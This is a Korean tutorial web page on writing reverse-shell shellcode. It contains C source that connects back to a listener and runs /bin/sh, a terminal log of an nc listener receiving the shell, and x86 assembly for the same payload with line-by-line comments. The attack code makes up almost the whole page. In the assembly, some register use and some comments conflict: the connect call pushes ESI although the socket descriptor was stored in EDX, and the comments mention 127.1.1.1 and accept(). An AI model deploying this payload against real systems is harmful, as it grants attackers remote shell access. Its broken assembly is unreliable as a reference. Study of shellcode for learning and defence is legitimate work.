Excuse the ads! We need some help to keep our site up.

List

Reverse Shellcode

C language

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
        int i, server_sockfd;
        socklen_t socklen;
        struct sockaddr_in server_addr;

        char *argv[] = { "/bin/sh", NULL};
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(2345);
        server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        server_sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
        connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));

        for(i = 0; i <= 2; i++)
                dup2(server_sockfd, i);

        execve( "/bin/sh", argv, NULL );
}

Test program

lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
lazenca0x0@ubuntu:~/back$ gcc -o test test.c 
lazenca0x0@ubuntu:~/back$ ./test
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 55482)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
lazenca0x0@ubuntu:~$

Connect()

int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
lazenca0x0@ubuntu:~$ cat /usr/include/linux/net.h |grep connect
#define SYS_CONNECT	3		/* sys_connect(2)		*/
	SS_UNCONNECTED,			/* unconnected to any socket	*/
	SS_CONNECTING,			/* in process of connecting	*/
	SS_CONNECTED,			/* connected to socket		*/
	SS_DISCONNECTING		/* in process of disconnecting	*/
lazenca0x0@ubuntu:~$

Assembly code

BITS 32
  
;socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
push BYTE 102			; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax					; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
cdq						; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다.
push dword 1			; socket 함수의 호출 번호 1을 Stack에 저장합니다.
pop ebx					; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다.
;두번째 인자에 전달할 인자 배열을 생성
push edx				; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push ebx				; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다.
push BYTE 2         	; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다.
mov ecx, esp        	; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다.
int 0x80
  
;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xchg edx,eax			; 소켓 함수로 부터 리턴받은 값을 EDX 레지스터에 저장합니다.
						; EAX 레지스터는 0으로 초기화 합니다.
  
;connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr))
mov al, 0x66			; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
;struct sockaddr_in server_addr;
push DWORD 0x0101017f	; server_addr.sin_addr.s_addr = inet_addr("127.1.1.1"); Little-endian
push WORD 0x2909		; server_addr.sin_port = htons(2345); Little-endian
inc ebx					; 
push WORD bx			; server_addr.sin_family = AF_INET;
mov ecx, esp			; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다.
push BYTE 16			; connect() 함수의 3번째 인자 값 16을 Stack에 저장합니다.
push ecx				; connect() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다.
push esi				; connect() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp			; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
inc ebx             	; socketcall() 함수의 1번째 인자 값으로 SYS_CONNECT(3)를 저장하게 됩니다.
int 0x80

;for(i = 0; i <= 2; i++)
;	dup2(server_sockfd, i);
xchg eax,ebx        ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해 파일 디스크립터(0x00000005)를 EAX 레지스터에 저장합니다.
push BYTE 0x2       ; Stack에 2 저장합니다.
pop ecx             ; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
    mov BYTE al, 0x3F   ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
    int 0x80            ;
    dec ecx             ; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다.
    jns dup2_call       ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.
  
;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11     ; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다.
push edx            ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다.
push 0x68732f2f     ; 문자 "//sh"를 Stack에 저장합니다. Little-endian
push 0x6e69622f     ; 문자 "/bin"를 Stack에 저장합니다. Little-endian
mov ebx, esp        ; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다.
push edx            ; Stack에 Null을 저장합니다.
mov edx, esp        ; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다.
push ebx            ; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다.
mov ecx, esp        ; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh"],[Null])를 저장합니다.
int 0x80            ;


Related site